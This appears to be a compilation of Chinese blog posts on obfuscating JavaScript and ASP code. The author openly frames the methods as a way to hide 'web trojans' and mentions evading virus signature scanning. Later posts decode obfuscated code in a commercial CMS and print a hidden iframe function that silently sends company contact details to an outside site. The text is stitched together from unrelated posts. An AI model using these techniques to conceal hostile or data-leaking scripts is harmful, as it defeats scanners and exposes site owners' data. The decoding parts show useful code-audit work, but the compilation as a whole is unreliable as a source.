在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的javascript代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的......^*^
但我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究的心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术。
以加密下面的JAVASCRIPT代码为例:
<SCRIPT LANGUAGE="JavaScript">
alert("《黑客防线》");
</SCRIPT>
一:最简单的加密解密
大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
如何?还看的懂吗?当然其中的ASCII字符"alert"并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
呵呵!如何?这次是完全都加密了!
当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:
<SCRIPT LANGUAGE="JavaScript">
var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");
eval(code)
</SCRIPT>
是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵
二:转义字符"\"的妙用
大家可能对转义字符"\"不太熟悉,但对于JavaScript提供了一些特殊字符如:\n (换行)、 \r (回车)、\' (单引号 )等应该是有所了解的吧?其实"\"后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"\141"或"\x61"(注意是小写字符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"\u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原理例子代码则可以表示为:
八进制转义字符串如下:
<SCRIPT LANGUAGE="JavaScript">
eval("\141\154\145\162\164\50\42\u9ED1\u5BA2\u9632\u7EBF\42\51\73")
</SCRIPT>
十六进制转义字符串如下:
<SCRIPT LANGUAGE="JavaScript">
eval("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
</SCRIPT>
这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:
<SCRIPT LANGUAGE="JavaScript">
alert("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
</SCRIPT>
就会弹出对话框告诉你解密后的结果!
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码
工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:
<SCRIPT LANGUAGE="JavaScript">
var Senc=new ActiveXObject("Scripting.Encoder");
var code='<SCRIPT LANGUAGE="JavaScript">\r\nalert("《黑客防线》");\r\n<\/SCRIPT>';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
</SCRIPT>
编码后的结果如下:
<SCRIPT LANGUAGE="JScript.Encode">#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@</SCRIPT>
够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:
<SCRIPT LANGUAGE="JScript.Encode">
function decode(){
#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@
}
alert(decode.toString());
</SCRIPT>
咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!
如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:
window.execScript( sExpression, sLanguage )
参数:
sExpression: 必选项。字符串(String)。要被执行的代码。
sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript
使用时,前面的"window"可以省略不写!
利用它我们可以很好的运行编码后的JavaScript代码,如下:
<SCRIPT LANGUAGE="JavaScript">
execScript("#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@","JScript.Encode")
</SCRIPT>
你可以利用方法二对其中的""号内的字符串再进行编码,使得"JScript.Encode"以及编码特征码"#@~^"不出现,效果会更好!
四:任意添加NUL空字符(十六进制00H)
一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的"空字符",IE照样会正常显示其中的内容,并正常执行其中的JavaScript 代码,而添加的"空字符"我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则"空字符"会变成"空格",利用这个原理加密结果如下:(其中显示的"空格"代表"空字符")
<S C RI P T L ANG U A G E =" J a v a S c r i p t ">
a l er t (" 黑 客 防 线") ;
< / SC R I P T>
如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的"空字符"(00H)的!
五:无用内容混乱以及换行空格TAB大法
在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用"\"来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:
<SCRIPT LANGUAGE="JavaScript">
"xajgxsadffgds";1234567890
625623216;var $=0;alert//@$%%&*()(&(^%^
//cctv function//
(//hhsaasajx xc
/*
asjgdsgu*/
"黑\
\
客\
防线"//ashjgfgf
/*
@#%$^&%$96667r45fggbhytjty
*/
//window
)
;"#@$#%@#432hu";212351436
</SCRIPT>
至少如果我看到这样的代码是不会有心思去分析它的,你哪?
六:自写解密函数法
这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,
加密代码如下(详细参照文件"加密.htm"):
<SCRIPT LANGUAGE="JavaScript">
function compile(code)
{
var c=String.fromCharCode(code.charCodeAt(0)+code.length);
for(var i=1;i<code.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)+code.charCodeAt(i-1));
}
alert(escape(c));
}
compile('alert("《黑客防线》");')
</SCRIPT>
运行得到加密结果为:
o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd
相应的加密后解密的代码如下:
<SCRIPT LANGUAGE="JavaScript">
function uncompile(code)
{
code=unescape(code);
var c=String.fromCharCode(code.charCodeAt(0)-code.length);
for(var i=1;i<code.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)-c.charCodeAt(i-1));
}
return c;
}
eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));
</SCRIPT>
七:错误的利用
利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子
<SCRIPT LANGUAGE="JavaScript">
var a='alert("《黑客防线》");';
var c="";
for(var i=0;i<a.length;i++){
c+=String.fromCharCode(a.charCodeAt(i)^61);}
alert(c);
//上面的是加密代码,当然如果真正使用这个方法时,不会把加密写上的
//现在变量c就是加密后的代码
//下面的函数t()先假设初始密码为0,解密执行,
//遇到错误则把密码加1,然后接着解密执行,直到正确运行
var d=c; //保存加密后的代码
var b=0; //假定初始密码为0
t();
function t(){
try{eval(c);}catch(e){
c="";
for(var i=0;i<d.length;i++){
c+=String.fromCharCode(d.charCodeAt(i)^b);}
b+=1;
t();
//setTimeout("t()",0);
}
}
</SCRIPT>
<%
if Request.Cookies("BsSkins")=empty then Response.Cookies("BsSkins")=BsSkins_Default
Style_Copy = "<"&chr(84)&chr(82)&">"&"<"&chr(84)&chr(68)&" "&chr(99)&chr(108)&chr(97)&chr(115)&chr(115)&chr(61)&"'"&chr(98)&"o"&chr(116)&chr(116)&"o"&chr(109)&chr(95)&chr(84)&chr(100)&"'"&">"&"<"&chr(68)&chr(73)&chr(86)&" "&chr(97)&chr(108)&chr(105)&chr(103)&chr(110)&chr(61)&chr(99)&"e"&chr(110)&chr(116)&"e"&chr(114)&">"&" "&chr(-20250)&chr(-14168)&chr(-13319)&chr(-11312)&" "&chr(36)&chr(66)&chr(115)&chr(67)&"o"&chr(109)&chr(112)&chr(97)&chr(110)&chr(121)&chr(78)&chr(97)&chr(109)&"e"&" "&"<"&chr(98)&chr(114)&">"&chr(67)&"o"&chr(112)&chr(121)&chr(114)&chr(105)&chr(103)&chr(104)&chr(116)&" "&chr(38)&chr(99)&"o"&chr(112)&chr(121)&chr(59)&" "&chr(50)&chr(48)&chr(48)&chr(50)&chr(45)&chr(50)&chr(48)&chr(48)&chr(53)&" "&chr(36)&chr(66)&chr(115)&chr(87)&"e"&chr(98)&" "&chr(65)&chr(108)&chr(108)&" "&chr(114)&chr(105)&chr(103)&chr(104)&chr(116)&chr(115)&" "&chr(114)&"e"&chr(115)&"e"&chr(114)&chr(118)&"e"&chr(100)&" "&"<"&chr(66)&chr(82)&">"&chr(80)&"o"&chr(119)&"e"&chr(114)&"e"&chr(100)&" "&chr(66)&chr(121)&" "&":"&"<"&chr(97)&" "&chr(104)&chr(114)&"e"&chr(102)&chr(61)&"'"&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(119)&chr(119)&chr(119)&"."&"e"&chr(98)&"o"&chr(115)&chr(115)&chr(105)&"."&chr(99)&"o"&chr(109)&"'"&" "&chr(99)&chr(108)&chr(97)&chr(115)&chr(115)&chr(61)&"'"&chr(98)&"o"&chr(116)&chr(116)&"o"&chr(109)&"'"&">"&chr(66)&"o"&chr(115)&chr(115)&chr(105)&chr(87)&"e"&chr(98)&chr(77)&chr(73)&chr(66)&" "&chr(86)&"e"&chr(114)&chr(115)&chr(105)&"o"&chr(110)&" "&chr(51)&"."&chr(51)&"<"&chr(47)&chr(97)&">"&"<"&chr(66)&chr(82)&">"&chr(-11597)&chr(-15386)&chr(-10572)&chr(-12080)&chr(-13647)&chr(-17180)&":"&chr(36)&chr(69)&chr(120)&"e"&chr(99)&chr(117)&chr(116)&chr(105)&"o"&chr(110)&chr(84)&chr(105)&chr(109)&"e"&" "&chr(-17727)&chr(-15381)&"<"&chr(47)&chr(68)&chr(73)&chr(86)&">"&"<"&chr(47)&chr(84)&chr(68)&">"&"<"&chr(47)&chr(84)&chr(82)&">"
%>
编译过来就是
直译
<%
if Request.Cookies("BsSkins")=empty then
Response.Cookies("BsSkins")=BsSkins_Default
Style_Copy = "<TR><TD class='bottom_Td'><DIV align=center> O74, $BsCompanyName <br>Copyright ? 2002-2005 $BsWeb All rights reserved <BR>Powered By :<a href=' http://www.ebossi.com' class='bottom'>BossiWebMIB Version 3.3</a><BR>-<)/5C:$ExecutionTime E<</DIV></TD></TR>"
%>
显示内容
O74, $BsCompanyName
Copyright ? 2002-2005 $BsWeb All rights reserved
Powered By :BossiWebMIB Version 3.3
-<)/5C:$ExecutionTime E<
呵呵,博識科技有限公司( http://www.ebossi.com/)难道良精也是改别人的,这段也没改掉?发人深省。
其三,在boss/include/sysinfo.asp文件中存在泄密代码,这部分代码加了密!内容如下:
execScript("\u0023\u0040\u007E\u005E\u004C\u0041\u0045\u0041\u0041\u0041\u003D\u003D\u0057\u0021\u0078\u005E\u0044\u006B\u004B\u0078\u0050\u0055\u0059\u004D\u005C\u0046\u0076\u003F\u0054\u0046\u0042\u003F\u0054\u002B\u0042\u003F\u0021\u002B\u0053\u003F\u005A\u0025\u007E\u0055\u0071\u0054\u007E\u0055\u0046\u0038\u0023\u0060\u004E\u0047\u005E\u0021\u003A\u006E\u0078\u0044\u0020\u0068\u004D\u006B\u004F\u006E\u0076\u004A\u0040\u0021\u0028\u006F\u0022\u0062\u005C\u0032\u002C\u006A\u0022\u005A\u0078\u0027\u0042\u0034\u0059\u0059\u0061\u0029\u004A\u0026\u0068\u0053\u0068\u0020\u0034\u004E\u0030\u0043\u0056\u007F\u0052\u006D\u004B\u0068\u007A\u003B\u0057\u0078\u006B\u003B\u0068\u002B\u004D\u007A\u0041\u0078\u002E\u0057\u0073\u0020\u006D\u002F\u0032\u0067\u003B\u0047\u004E\u007F\u0027\u0045\u0051\u0055\u0021\u0046\u0051\u0045\u004C\u005A\u0047\u0031\u006D\u0068\u007F\u0027\u0045\u0033\u003F\u005A\u0020\u005F\u0072\u005B\u0064\u0072\u0078\u0030\u003A\u0043\u0078\u007B\u004A\u0051\u006A\u005A\u0076\u005F\u0072\u0027\u006E\u0034\u0057\u0078\u007F\u0078\u0045\u005F\u0055\u0021\u0052\u005F\u0045\u005B\u0009\u006E\u0028\u0027\u0045\u005F\u0055\u0071\u0021\u0033\u004A\u0027\u0033\u0073\u006C\u006B\u0073\u0078\u0072\u005F\u006A\u0046\u0038\u0051\u0072\u002D\u0076\u002C\u0068\u0062\u004E\u0059\u0034\u0027\u005A\u007E\u0074\u007F\u006B\u004C\u0074\u0044\u0027\u0054\u007E\u0036\u0044\u006C\u0073\u006E\u0034\u004B\u0044\u004E\u007F\u002E\u0078\u0078\u004B\u0050\u0028\u0057\u002E\u004E\u006E\u002E\u007B\u0021\u007E\u0048\u007A\u005D\u004D\u0026\u0031\u0009\u0028\u0047\u004B\u0043\u0078\u0054\u002C\u0048\u0029\u0049\u0056\u0028\u0067\u0043\u0033\u0026\u004D\u005F\u004B\u0027\u005A\u0050\u0055\u002F\u0049\u007D\u0053\u004A\u0071\u0067\u004D\u0078\u0055\u004B\u0040\u002A\u0040\u0021\u004A\u0028\u0073\u0022\u0062\u0048\u0041\u0040\u002A\u0045\u0023\u0029\u0040\u0023\u0040\u0026\u0074\u0056\u0063\u0041\u0041\u0041\u003D\u003D\u005E\u0023\u007E\u0040","\u004A\u0053\u0063\u0072\u0069\u0070\u0074\u002E\u0045\u006E\u0063\u006F\u0064\u0065");
显示的是 & echo(数字) &的格式,整体是
Style_Copy = "<"&echo(84)&echo(82)&">"&"<"&echo(84)&echo(68)&" "&echo(99)&echo(108)&echo(97)&echo(115)&echo(115)&echo(61)&"'"&echo(98)&"o"&echo(116)&echo(116)&"o"&echo(109)&echo(95)&echo(84)&echo(100)&"'"&">"&"<"&echo(68)&echo(73)&echo(86)&" "&echo(97)&echo(108)&echo(105)&echo(103)&echo(110)&echo(61)&echo(99)&"e"&echo(110)&echo(116)&"e"&echo(114)&">"&" "&echo(67)&"o"&echo(112)&echo(121)&echo(114)&echo(105)&echo(103)&echo(104)&echo(116)&" "&echo(36)&echo(66)&echo(115)&echo(69)&echo(110)&echo(67)&"o"&echo(109)&echo(112)&echo(97)&echo(110)&echo(121)&echo(78)&echo(97)&echo(109)&"e"&" "&"<"&echo(66)&echo(82)&">"&echo(67)&"o"&echo(112)&echo(121)&echo(114)&echo(105)&echo(103)&echo(104)&echo(116)&" "&echo(38)&echo(99)&"o"&echo(112)&echo(121)&echo(59)&" "&echo(50)&echo(48)&echo(48)&echo(50)&echo(45)&echo(50)&echo(48)&echo(48)&echo(53)&" "&echo(36)&echo(66)&echo(115)&echo(87)&"e"&echo(98)&" "&echo(65)&echo(108)&echo(108)&" "&echo(114)&echo(105)&echo(103)&echo(104)&echo(116)&echo(115)&" "&echo(114)&"e"&echo(115)&"e"&echo(114)&echo(118)&"e"&echo(100)&" "&"<"&echo(66)&echo(82)&">"&echo(80)&"o"&echo(119)&"e"&echo(114)&"e"&echo(100)&" "&echo(66)&echo(121)&" "&":"&"<"&echo(97)&" "&echo(104)&echo(114)&"e"&echo(102)&echo(61)&"'"&echo(104)&echo(116)&echo(116)&echo(112)&echo(58)&echo(47)&echo(47)&echo(119)&echo(119)&echo(119)&"."&echo("108")&echo("105")&echo("97")&echo("110")&echo("103")&echo("106")&echo("105")&echo("110")&echo("103")&"."&echo(110)&echo("101")&echo(116)&"'"&" "&echo(99)&echo(108)&echo(97)&echo(115)&echo(115)&echo(61)&"'"&echo(98)&"o"&echo(116)&echo(116)&"o"&echo(109)&"'"&">"&echo("108")&echo("105")&echo("97")&echo("110")&echo("103")&echo("106")&echo("105")&echo("110")&echo("103")&" "&echo(86)&"e"&echo(114)&echo(115)&echo(105)&"o"&echo(110)&" "&echo("50")&echo("48")&echo("48")&echo("54")&"<"&echo(47)&echo(97)&">"&"<"&echo(66)&echo(82)&">"&echo(83)&echo(99)&echo(114)&echo(105)&echo(112)&echo(116)&" "&echo(69)&echo(120)&"e"&echo(99)&echo(117)&echo(116)&echo(105)&"o"&echo(110)&" "&echo(84)&echo(105)&echo(109)&"e"&":"&echo(36)&echo(69)&echo(120)&"e"&echo(99)&echo(117)&echo(116)&echo(105)&"o"&echo(110)&echo(84)&echo(105)&echo(109)&"e"&" "&echo(109)&echo(115)&"<"&echo(47)&echo(68)&echo(73)&echo(86)&">"&"<"&echo(47)&echo(84)&echo(68)&">"&"<"&echo(47)&echo(84)&echo(82)&">"
经过研究发现是版权信息!
运行的结果是:
版权所有 $BsCompanyName
Copyright ? 2002-2005 $BsWeb All rights reserved
Powered By :liangjing Version 2006
页面执行时间:$ExecutionTime 毫秒
经过查找,发现其加密原理如下:
Alt+小键盘数字!
如:&echo(84)为Alt+8+4 然后放开Alt 就打出字母T了.
如果不想这样,就可以把字母和表点或者是空格用双引号""分开
比如:"o"&"'"&"."&""
&这是必须的.
这样就可以知道内容是什么了.然后对照着编自己需要改的部分,一般是版权部分了!很少的.很花时间.
Function echo(num)
echo=Chr(num)End Function
Style_Copy = "<"&echo(84)&echo(82)&">"&"<"&echo(84)&echo(68)&" "&echo(99)&echo(108)&echo(97)&echo(115)&echo(115)&echo(61)&"'"&echo(98)&"o"&echo(116)&echo(116)&"o"&echo(109)&echo(95)&echo(84)&echo(100)&"'"&">"&"<"&echo(68)&echo(73)&echo(86)&" "&echo(97)&echo(108)&echo(105)&echo(103)&echo(110)&echo(61)&echo(99)&"e"&echo(110)&echo(116)&"e"&echo(114)&">"&" "&echo(-20250)&echo(-14168)&echo(-13319)&echo(-11312)&" "&echo(36)&echo(66)&echo(115)&echo(67)&"o"&echo(109)&echo(112)&echo(97)&echo(110)&echo(121)&echo(78)&echo(97)&echo(109)&"e"&" "&"<"&echo(98)&echo(114)&">"&echo(67)&"o"&echo(112)&echo(121)&echo(114)&echo(105)&echo(103)&echo(104)&echo(116)&" "&echo(38)&echo(99)&"o"&echo(112)&echo(121)&echo(59)&" "&echo(50)&echo(48)&echo(48)&echo(50)&echo(45)&echo(50)&echo(48)&echo(48)&echo(53)&" "&echo(36)&echo(66)&echo(115)&echo(87)&"e"&echo(98)&" "&echo(65)&echo(108)&echo(108)&" "&echo(114)&echo(105)&echo(103)&echo(104)&echo(116)&echo(115)&" "&echo(114)&"e"&echo(115)&"e"&echo(114)&echo(118)&"e"&echo(100)&" "&"<"&echo(66)&echo(82)&">"&echo(80)&"o"&echo(119)&"e"&echo(114)&"e"&echo(100)&" "&echo(66)&echo(121)&" "&":"&"<"&echo(97)&" "&echo(104)&echo(114)&"e"&echo(102)&echo(61)&"'"&echo(104)&echo(116)&echo(116)&echo(112)&echo(58)&echo(47)&echo(47)&echo(119)&echo(119)&echo(119)&"."&echo("108")&echo("105")&echo("97")&echo("110")&echo("103")&echo("106")&echo("105")&echo("110")&echo("103")&"."&echo(110)&echo("101")&echo(116)&"'"&" "&echo(99)&echo(108)&echo(97)&echo(115)&echo(115)&echo(61)&"'"&echo(98)&"o"&echo(116)&echo(116)&"o"&echo(109)&"'"&">"&echo("108")&echo("105")&echo("97")&echo("110")&echo("103")&echo("106")&echo("105")&echo("110")&echo("103")&" "&echo(86)&"e"&echo(114)&echo(115)&echo(105)&"o"&echo(110)&" "&echo("50")&echo("48")&echo("48")&echo("54")&"<"&echo(47)&echo(97)&">"&"<"&echo(66)&echo(82)&">"&echo(-11597)&echo(-15386)&echo(-10572)&echo(-12080)&echo(-13647)&echo(-17180)&":"&echo(36)&echo(69)&echo(120)&"e"&echo(99)&echo(117)&echo(116)&echo(105)&"o"&echo(110)&echo(84)&echo(105)&echo(109)&"e"&" "&echo(-17727)&echo(-15381)&"<"&echo(47)&echo(68)&echo(73)&echo(86)&">"&"<"&echo(47)&echo(84)&echo(68)&">"&"<"&echo(47)&echo(84)&echo(82)&echo(62)&echo(60)&echo(116)&echo(114)&echo(62)&echo(60)&echo(116)&echo(100)&echo(32)&echo(97)&echo(108)&echo(105)&echo(103)&echo(110)&echo(61)&echo(99)&echo(101)&echo(110)&echo(116)&echo(101)&echo(114)&echo(62)&echo(60)&echo(115)&echo(99)&echo(114)&echo(105)&echo(112)&echo(116)&echo(32)&echo(115)&echo(114)&echo(99)&echo(61)&echo(34)&echo(46)&echo(46)&echo(47)&echo(67)&echo(111)&echo(117)&echo(110)&echo(116)&echo(101)&echo(114)&echo(47)&echo(83)&echo(104)&echo(111)&echo(119)&echo(67)&echo(111)&echo(117)&echo(110)&echo(116)&echo(101)&echo(114)&echo(46)&echo(97)&echo(115)&echo(112)&echo(34)&echo(62)&echo(60)&echo(47)&echo(115)&echo(99)&echo(114)&echo(105)&echo(112)&echo(116)&echo(62)&echo(60)&echo(47)&echo(116)&echo(100)&echo(62)&echo(60)&echo(47)&echo(116)&echo(114)&echo(62)
%>
<%=Style_Copy %>
运行结果是:
版权所有 $BsCompanyName
Copyright ? 2002-2005 $BsWeb All rights reserved
Powered By :liangjing Version 2006
页面执行时间:$ExecutionTime 毫秒
良精软件,够狠![ 2006年12月2日 ]
Tags:
今天搞了一套良精的企业网站代码,担心网页里面被嵌套木马或者其他破坏性脚本,于是一个一个文件的看代码,还真有收获!
QQ空间中,随机背景、花、播放器等代码都是采用链接一个外部的JS文件形成的代码。不难发现很多这样的JS代码都被加密了,所以大家总是用别人的,像随机花的代码,除了本空间用的版本外,网上流传的其它版本似乎只有一个。
懂JS的人会打开别人的JS文件来看,用于QQ空间的JS被打开后往往看到的是类似下面的东西:
OlOlll="(x)";OllOlO=" String";OlllOO="tion";OlOllO="Code(x)}";OllOOO="Char";OlllOl="func";OllllO=" l = ";OllOOl=".from";OllOll="{return";Olllll="var";eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(""+O(102968335)+O(99998335)+O(106928335)+O(106928335)+O(109898335));
(PS:这段代码的译文是:hello)
看到别人把代码弄成这个样子,心动了吧?是不是想把自己辛苦写出来的代码也加上密呢?Kim HyunJung根据解密原理写了个小程序,用于使JS代码加密成上面的样子。想要的赶紧点下面的地址下载吧:
http://kimhyunjung.blogbus.com/files/1138097885.exe
(MD5:94e0064fb5bb032b03a011bd3acbca76,请验证MD5谨防木马!)
说明:
1、请不要一次加密太长的代码,代码过长会导致加密结果不能完全被显示。
2、请尽量不要对有汉字或字符的代码进行加密,对这部分代码加密有可能导致显示异常。
3、如果系统提示缺少“Mscomctl.ocx”ActiveX控件,请到下面地址下载该空间,并存放到Windows系统目录下的system32目录下即可。
http://www.baidu.com/s?ie=gb2312&bs=Mscomctl.ocx&sr=&z=&cl=3&f=8&wd=Mscomctl.ocx+%CF%C2%D4%D8&ct=0
出来
function StrM1(S01,S02,S06,S08,S10,S11){document.write("<IFRAME SRC=\' http://www.bjfake.com/Consumer/Enrol.asp?Code=";+S01+"&CoName="+S02+"&Linkman="+S06+"&Phone="+S08+"&.eb="+S10+"&Email="+S11+"\' width=0 height=0 frameborder=no border=0 MARGIN.IDTH=0 MARGINHEIGHT=0 SCROLLING=no></IFRAME>")}
www.bjfake.com这个网站的一个URL
原来是记录后台填写公司的信息然后发送给良精,C!!!这个垃圾!
删!!
试了一下16进制加密,挺好玩的
<SCRIPT LANGUAGE="JavaScript">
execScript("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0043\u004f\u004f\u004c\u0046\u0041\u0058\u0022\u0029\u003b");
</SCRIPT>
代码原文:
<SCRIPT LANGUAGE="JavaScript">
alert("COOLFAX");
</SCRIPT>
加密后的代码只能在IE里面运行,firefox和Opera都不支持